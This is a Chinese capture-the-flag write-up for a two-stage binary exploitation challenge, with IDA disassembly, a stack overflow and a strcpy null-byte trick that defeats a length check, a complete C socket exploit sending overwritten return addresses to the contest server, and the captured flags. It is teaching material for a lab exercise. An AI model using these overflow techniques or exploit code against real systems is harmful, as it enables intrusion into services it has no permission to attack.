[关闭]
@pnck 2015-04-15T05:55:58.000000Z 字数 4821 阅读 2019

[代发]ctf平台week1 pwnstep1-2 writeup by Explorer.

writeup


by program author: 刚放出来一天就被秒了,吓屎了……以后求组队带我飞啊!

一道栈溢出的题目。

step1:

nc连接上去之后是3个选项。其中1,2都有字符串的输入。先丢ida分析。
根据一些字符串的输出理清函数的调用关系。先按照提示尝试step1.

  1. .text:0804891E 09C cmp [ebp+var_D], 5Ch ; <-比较[esp+var_D]与5Ch。成功这调用函数打印flag
  2. .text:08048922 09C jnz short loc_8048956
  3. .text:08048924 09C sub esp, 0Ch
  4. .text:08048927 0A8 push offset aCongratulation ; "Congratulations you've got the point!"
  5. .text:0804892C 0AC call _puts
  6. .text:08048931 0AC add esp, 10h
  7. .text:08048934 09C sub esp, 0Ch
  8. .text:08048937 0A8 push offset aGiveYouWhatYou ; "Give you what you want:"
  9. .text:0804893C 0AC call _puts
  10. .text:08048941 0AC add esp, 10h
  11. .text:08048944 09C sub esp, 0Ch
  12. .text:08048947 0A8 push offset file ; "flags/step1"
  13. .text:0804894C 0AC call sub_80486AB ; <-打印flag的函数。参数是flags/step1
  14. .text:08048951 0AC add esp, 10h
  15. .text:08048954 09C jmp short loc_8048966 ; Jump
  16. .text:08048956 ; ---------------------------------------------------------------------------
  17. .text:08048956
  18. .text:08048956 loc_8048956: ; CODE XREF: sub_8048781+1A1j
  19. .text:08048956 09C sub esp, 0Ch
  20. .text:08048959 0A8 push offset aYes__youSeeRot ; "Yes..you see ROT13 runing well but do y"...
  21. .text:0804895E 0AC call _puts
  22. .text:08048963 0AC add esp, 10h

前面还有个不限长度的gets函数,所以是只要输入字符串覆盖就可以了。
构造字符串'a'*(0x94-0x0D) + 0x5c(就是字符'\')
手工输入得到flag:hctf{H3rE_1s_iT}


step2:

分析step2的程序流程,首先输入密码。密码为明文很容易发现为"=L=why_dont_you_guess_me?"输入正确后提示输入验证码,为109然后就结束了。
随后我再查找.const段发现字符串"flags/step2"猜想使用这个参数调用step1中打印flag的函数,但是两个输入函数都是限制了输入长度的,所以没有办法进行栈溢出攻击。

于是仔细的分析step2的代码。发现在strcpy处有一个漏洞,因为strcpy复制后总是加上'\0',正好将[esp+var_c]处的用以限制输入长度变量覆盖为0.

  1. .text:08048A01 sub esp, 8
  2. .text:08048A04 lea eax, [ebp+nptr]
  3. .text:08048A0A push eax ; src
  4. .text:08048A0B lea eax, [ebp+dest]
  5. .text:08048A0E push eax ; dest
  6. .text:08048A0F call _strcpy ;这里的strcpy把[esp+var_c]处变量覆盖为零。
  7. .text:08048A14 add esp, 10h
  8. .text:08048A17 sub esp, 0Ch
  9. .text:08048A1A push offset aOh__andINeedTo ; "Oh..And,I need to check if you are huma"...
  10. .text:08048A1F call _puts
  11. .text:08048A24 add esp, 10h
  12. .text:08048A27 sub esp, 0Ch
  13. .text:08048A2A push offset aPleaseCalculat ; "Please calculate:?"...
  14. .text:08048A2F call _puts
  15. .text:08048A34 add esp, 10h
  16. .text:08048A37 mov eax, [ebp+var_C]
  17. .text:08048A3A sub eax, 1 ; <-这里是关键,将已经为0eax再减去1。可以溢出啦。
  18. .text:08048A3D sub esp, 4
  19. .text:08048A40 push 0Ah
  20. .text:08048A42 push eax
  21. .text:08048A43 lea eax, [ebp+nptr]
  22. .text:08048A49 push eax
  23. .text:08048A4A call sub_804870E ;可以在这里开心的构造溢出了

所以最终思路是

本人是个渣,不会用高大上的python,所以用c语言写了段代码。。

by program author: WTF? 用C写了段代码?! 你们谁写过socket程序? @差点被军哥踢走的niko

  1. #include <winsock2.h>
  2. #include <stdio.h>
  3. #include <Windows.h>
  4. #pragma comment(lib,"ws2_32.lib")
  5. int main (void)
  6. {
  7. int i;
  8. WSADATA wsaData;
  9. SOCKET sockClient;
  10. SOCKADDR_IN addrServer;
  11. char recvBuf[5000]={0};
  12. WSAStartup(MAKEWORD(2,2),&wsaData);
  13. sockClient=socket(AF_INET,SOCK_STREAM,0);
  14. addrServer.sin_addr.S_un.S_addr=inet_addr("121.41.49.63");
  15. addrServer.sin_family=AF_INET; addrServer.sin_port=htons(7777);
  16. connect(sockClient,(SOCKADDR*)&addrServer,sizeof(SOCKADDR));
  17. recv(sockClient,recvBuf,1000,0);
  18. printf("%s",recvBuf);
  19. printf("\n*****************************************************************\n");
  20. for(i=0;i<1000;recvBuf[i]=0,i++);
  21. char message[2000]={'2','\x0a'};
  22. send(sockClient,message,2,0);
  23. Sleep(1000);
  24. recv(sockClient,recvBuf,1000,0);
  25. printf("%s",recvBuf);
  26. printf("\n*****************************************************************\n");
  27. for(i=0;i<1000;recvBuf[i]=0,i++);
  28. for(i=0;i<64;i++)
  29. message[i]='1';
  30. message[64]='\x0a';
  31. strcpy_s(message,26,"=L=why_dont_you_guess_me?");
  32. message[25]='1';
  33. send(sockClient,message,65,0);
  34. Sleep(1000);
  35. recv(sockClient,recvBuf,1000,0);
  36. printf("%s",recvBuf);
  37. printf("\n*****************************************************************\n");
  38. for(i=0;i<5000;recvBuf[i]=0,i++);
  39. for(i=0;i<1104;i++)
  40. message[i]='\0';
  41. message[1104]=0x4c;
  42. message[1105]=0x89;
  43. message[1106]=0x04;
  44. message[1107]=0x08;
  45. message[1108]=0x3a;
  46. message[1109]=0x8c;
  47. message[1110]=0x04;
  48. message[1111]=0x08;
  49. message[1112]=0x0a;
  50. message[0]='1';
  51. message[1]='0';
  52. message[2]='9';
  53. send(sockClient,message,1113,0);
  54. Sleep(1000);
  55. recv(sockClient,recvBuf,5000,0);
  56. printf("%s",recvBuf);
  57. printf("\n*****************************************************************\n");
  58. closesocket(sockClient);
  59. WSACleanup();
  60. }

Welcome PWN-Step. Where are you at?
1) Newbie
2) I've known something.
3) QooBee is just a piece of cake.

*****************************************************************
Step2.Things get complicated, you'll need some professional tricks.Try your best!
You need to give me a password to read the flag.

*****************************************************************
Oh..And,I need to check if you are human beings.
Please calculate:二十三 plus 0x56 = ?

*****************************************************************
passwd:
your answer:109
Yes,you are able to do some reverse engineering,but here is not the way to get flag.
flag: hctf{W0w_sub4rA5Hi!}

*****************************************************************


by program author:
step2 是仿照sctf2014 pwn200的思路写的,做了简化,一开始程序逻辑还有些问题,比如可以直接用step1的gets来打step2啦,长度限制根本没起到迷惑性的作用啦等等,还是被做出来之后经过交流才知道的orz
看过writeup之后更感觉肯定不只是一两天功力,未来大腿get√

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注